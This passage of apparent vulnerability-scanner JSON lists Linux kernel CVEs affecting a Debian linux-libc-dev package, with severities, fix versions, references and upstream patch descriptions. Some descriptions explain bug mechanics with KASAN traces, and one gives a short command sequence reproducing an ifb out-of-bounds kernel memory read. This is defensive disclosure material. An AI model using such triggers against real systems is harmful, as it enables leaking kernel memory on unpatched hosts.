"kernel: ixgbevf: fix use-after-free in VEPA multicast source pruning", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nixgbevf: fix use-after-free in VEPA multicast source pruning\n\nixgbevf_clean_rx_irq() prunes frames whose source MAC matches the VF's\nown address (VEPA multicast workaround) by freeing the skb and\ncontinuing to the next descriptor:\n\n dev_kfree_skb_irq(skb);\n continue;\n\nThe skb pointer is declared outside the while loop and persists across\niterations. Because the continue skips the \"skb = NULL\" reset at the\nbottom of the loop, the next iteration enters the \"else if (skb)\" path\nand calls ixgbevf_add_rx_frag() on the freed skb, dereferencing\nskb_shinfo(skb)-\u003enr_frags - a use-after-free in NAPI softirq context.\n\nThe sibling driver iavf already handles this correctly by nulling the\npointer before continuing. Apply the same pattern here.\n\nI do not have ixgbevf hardware; the bug was found by static analysis\n(scan_drop_continue_loops.py + semgrep drop_continue_in_loop, multi-tool\ncorroboration with the highest score in the scan). The UAF was confirmed\nunder KASAN by loading a test module that reproduces the exact code\npattern (alloc skb, kfree_skb, then read skb_shinfo(skb)-\u003enr_frags):\n\n BUG: KASAN: slab-use-after-free in ixgbevf_uaf_test_init+0x100/0x1000\n Read of size 8 at addr 000000006163ae78 by task insmod/30\n freed 208-byte region [000000006163adc0, 000000006163ae90)\n\nQEMU emulates igb (82576) but not ixgbe (82599), and the igbvf VF\ndriver does not include the VEPA source pruning path, so a full\nend-to-end reproduction with emulated hardware was not possible.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-64113", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/5d49b568c188dc77199d8d2b959c91da8cc27cf1%20%287.1-rc5%29", "https://git.kernel.org/stable/c/3d931ac62411a7e43b85dba5fe45e1a4a91bd5cb", "https://git.kernel.org/stable/c/55b3e91d62b2f7a24109b2d7c9f4c66d2e3b1ec1", "https://git.kernel.org/stable/c/5d49b568c188dc77199d8d2b959c91da8cc27cf1", "https://git.kernel.org/stable/c/6ef30384a50a50e4a484cddf341bc27de31aa3de", "https://git.kernel.org/stable/c/a244395d8c563ed1bb26c3ef708db6aeeaa08084", "https://git.kernel.org/stable/c/add70e2682c0ad3be2a5810bcf1bc13963ba4df9", "https://git.kernel.org/stable/c/dfef79e09ed2f5df975c98547f97f5d7f8982a24", "https://git.kernel.org/stable/c/e8768bcbe5cd30c4ea36a22022c9ffaa66903693", "https://linux.oracle.com/cve/CVE-2026-64113.html", "https://linux.oracle.com/errata/ELSA-2026-67150-0.html", "https://lore.kernel.org/linux-cve-announce/2026071922-CVE-2026-64113-87d9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64113", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64113" ], "PublishedDate": "2026-07-19T16:17:52.68Z", "LastModifiedDate": "2026-10-19T21:17:23.873Z" }, { "VulnerabilityID": "CVE-2026-64121", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64121", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eeee6797af9917b31d4c7803e3eb6ab32a171c093d6714bb1096491d1ffbdf37", "Title": "kernel: net: ifb: report ethtool stats over num_tx_queues", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ifb: report ethtool stats over num_tx_queues\n\nifb_dev_init() allocates dp-\u003etx_private to dev-\u003enum_tx_queues\nentries via kzalloc_objs(*txp, dev-\u003enum_tx_queues). Both IFB\nper-queue RX and TX stats live in those entries: ifb_xmit() updates\ntxp-\u003erx_stats using the skb queue mapping, ifb_ri_tasklet() updates\ntxp-\u003etx_stats, and ifb_stats64() aggregates both over\ndev-\u003enum_tx_queues.\n\nThe ethtool stats callbacks instead size and walk the per-queue\nstats with dev-\u003ereal_num_rx_queues and dev-\u003ereal_num_tx_queues. With\nan asymmetric device where the RX queue count exceeds the TX queue\ncount, for example:\n\n ip link add name ifb10 numtxqueues 1 numrxqueues 8 type ifb\n ethtool -S ifb10\n\nifb_get_ethtool_stats() indexes past the tx_private allocation and\ncopies adjacent slab data through ETHTOOL_GSTATS.\n\nUse dev-\u003enum_tx_queues consistently for the stats strings, the\nstats count, and the stats data walks. This reports one RX stats\ngroup and one TX stats group for each backing ifb_q_private entry,\nwhich is the queue set IFB can actually populate.\n\nReproduced under UML+KASAN at v7.1-rc2:\n\n BUG: KASAN: slab-out-of-bounds in ifb_fill_stats_data+0x3c/0xae\n Read of size 8 at addr 0000000062dbd228 by task ethtool/36\n ifb_fill_stats_data+0x3c/0xae\n ifb_get_ethtool_stats+0xc0/0x129\n __dev_ethtool+0x1ca5/0x363c\n dev_ethtool+0x123/0x1b3\n dev_ioctl+0x56c/0x744\n sock_do_ioctl+0x15f/0x1b2\n sock_ioctl+0x4d5/0x50a\n sys_ioctl+0xd8b/0xde9\n\nWith the patch applied, the same UML+KASAN repro is silent and\nethtool -S ifb10 reports only the stats backed by the single\nallocated tx_private entry.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64121", "https://git.kernel.org/linus/5db89c99566fc4728cc92e941d8e1975711e24b5%20%287.1-rc5%29", "https://git.kernel.org/stable/c/16bd798cb6d8337d7c3eea1adc412f31b5181d5b", "https://git.kernel.org/stable/c/2638e1773904d7aa8f24c6e7fda2ed7d69df6fa4", "https://git.kernel.org/stable/c/301a554e458e2f5ec47f2c336a7cb03b877f9fd6", "https://git.kernel.org/stable/c/5db89c99566fc4728cc92e941d8e1975711e24b5", "https://git.kernel.org/stable/c/6afdb8113cb007f9332f59a9b7fd45731b8a9de5", "https://git.kernel.org/stable/c/f8a5a76b4a683043c6eff2a060bcaa17f9316ad5", "https://lore.kernel.org/linux-cve-announce/2026071924-CVE-2026-64121-7da8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64121", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64121" ], "PublishedDate": "2026-07-19T16:17:53.663Z", "LastModifiedDate": "2026-11-06T17:18:36.777Z" }, { "VulnerabilityID": "CVE-2026-64137", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2e94dd809ee76b56975afb4d516b2b9928d81b18bdcab1ff990afc512d398906", "Title": "kernel: smb: client: require net admin for CIFS SWN netlink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: require net admin for CIFS SWN netlink\n\nCIFS_GENL_CMD_SWN_NOTIFY is the userspace witness-notify command. The\nintended sender is the cifs.witness helper, but the generic-netlink\noperation currently has no capability flag, so any local process can send\nRESOURCE_CHANGE or CLIENT_MOVE notifications to the in-kernel witness\nhandler.\n\nThe same family exposes CIFS_GENL_MCGRP_SWN without multicast-group\ncapability flags. Register messages sent to that group include the witness\nregistration id and, for NTLM-authenticated mounts, the username, domain,\nand password attributes copied from the CIFS session. An unprivileged\nlocal process should not be able to join that group and receive those\nmessages.\n\nRequire CAP_NET_ADMIN for incoming SWN_NOTIFY commands with\nGENL_ADMIN_PERM, and require CAP_NET_ADMIN over the network namespace for\njoining the SWN multicast group with GENL_MCAST_CAP_NET_ADMIN. The\ncifs.witness service runs with the privileges needed for both operations.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64137", "https://git.kernel.org/linus/d1ebfce2c1d161186a82e77590bf7da2ea1bce91%20%287.1-rc5%29", "https://git.kernel.org/stable/c/969bc6370334a5b4720c5470783295d6484bbc95", "https://git.kernel.org/stable/c/9919021a3b7974ae66a5f9915e3a48c10cfd409b", "https://git.kernel.org/stable/c/9cf7eb8919344932f909b2fac76296f7656fda8d", "https://git.kernel.org/stable/c/a3238b09c58f323e40743ce174cd0ab81b5c09ed", "https://git.kernel.org/stable/c/a8d17d22db591099519a89f14dd24810daba74c3", "https://git.kernel.org/stable/c/c2397b93fbb6f44a788fff30f99be2c20cc5e50f", "https://git.kernel.org/stable/c/d1ebfce2c1d161186a82e77590bf7da2ea1bce91", "https://lore.kernel.org/linux-cve-announce/2026071928-CVE-2026-64137-f080@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64137", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64137" ], "PublishedDate": "2026-07-19T16:17:55.57Z", "LastModifiedDate": "2026-08-13T15:08:23.06Z" }, { "VulnerabilityID": "CVE-2026-64138", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2fd3417cf54d4a5a9d08eb53f4fd105fd503d56d4d4606257a0543d484274683", "Title": "kernel: ksmbd: validate SID in parent security descriptor during ACL inheritance", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate SID in parent security descriptor during ACL inheritance\n\nIntroduce smb_validate_ntsd_sid() helper to safely validate Owner SID\nand Group SID inside the NT Security Descriptor (smb_ntsd) retrieved\nfrom the parent directory.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64138", "https://git.kernel.org/linus/69f030cf95488ae1186c72ac8c66fd279664ea7f%20%287.1-rc5%29", "https://git.kernel.org/stable/c/18d8db24b0a5b7be4829238dd4022236df02d421", "https://git.kernel.org/stable/c/1c9d0646a9959752f11ca1080dc1ff26bd1756cb", "https://git.kernel.org/stable/c/69f030cf95488ae1186c72ac8c66fd279664ea7f", "https://git.kernel.org/stable/c/8efbea0253b7fa2d1960cab0fed36544ca0b41ab", "https://git.kernel.org/stable/c/f0e5c9c663badc9982e6941322eef1cb17de0f11", "https://git.kernel.org/stable/c/f7c4dee323d9176b8d3f5c69018ee57ae0d4653c", "https://lore.kernel.org/linux-cve-announce/2026071928-CVE-2026-64138-e6dd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64138", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64138" ], "PublishedDate": "2026-07-19T16:17:55.68Z", "LastModifiedDate": "2026-10-30T13:19:32.61Z" }, { "VulnerabilityID": "CVE-2026-64191", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64191", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9b49885aff3354dd20e9b09b72d8d27bb3d363ee03798a527a777c198e76035", "Title": "kernel: i2c: stub: Reject I2C block transfers with invalid length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: stub: Reject I2C block transfers with invalid length\n\nThe I2C_SMBUS_I2C_BLOCK_DATA case in stub_xfer() uses data-\u003eblock[0]\nas the transfer length. The existing check only clamps it to avoid\noverrunning the chip-\u003ewords[256] register array, but does not validate\nit against I2C_SMBUS_BLOCK_MAX (32), which is the limit of the union\ni2c_smbus_data.block buffer (34 bytes total). The driver is a\ndevelopment/test tool (CONFIG_I2C_STUB=m, not built by default)\nthat must be loaded with a chip_addr= parameter.\n\nA local user with access to /dev/i2c-* can issue an I2C_SMBUS ioctl\nwith I2C_SMBUS_I2C_BLOCK_DATA and data-\u003eblock[0] \u003e 32, causing\nstub_xfer() to read or write past the end of the union\ni2c_smbus_data.block buffer:\n\n BUG: KASAN: stack-out-of-bounds in stub_xfer (drivers/i2c/i2c-stub.c:223)\n Read of size 1 at addr ffff88800abcfd92 by task exploit/81\n Call Trace:\n \u003cTASK\u003e\n stub_xfer (drivers/i2c/i2c-stub.c:223)\n __i2c_smbus_xfer (drivers/i2c/i2c-core-smbus.c:593)\n i2c_smbus_xfer (drivers/i2c/i2c-core-smbus.c:536)\n i2cdev_ioctl_smbus (drivers/i2c/i2c-dev.c:391)\n i2cdev_ioctl (drivers/i2c/i2c-dev.c:478)\n __x64_sys_ioctl (fs/ioctl.c:583)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n \u003c/TASK\u003e\n\nThe bug exists because i2c-stub implements .smbus_xfer directly,\nbypassing the I2C_SMBUS_BLOCK_MAX validation in\ni2c_smbus_xfer_emulated(). The I2C_SMBUS_BLOCK_DATA case in the same\nfunction correctly validates against I2C_SMBUS_BLOCK_MAX, but the\nI2C_SMBUS_I2C_BLOCK_DATA case does not.\n\nFix by rejecting transfers with data-\u003eblock[0] == 0 or\ndata-\u003eblock[0] \u003e I2C_SMBUS_BLOCK_MAX with -EINVAL, consistent with\nboth the I2C_SMBUS_BLOCK_DATA case in the same function and the\nI2C_SMBUS_I2C_BLOCK_DATA validation in i2c_smbus_xfer_emulated().", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/security/cve/CVE-2026-64191", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", 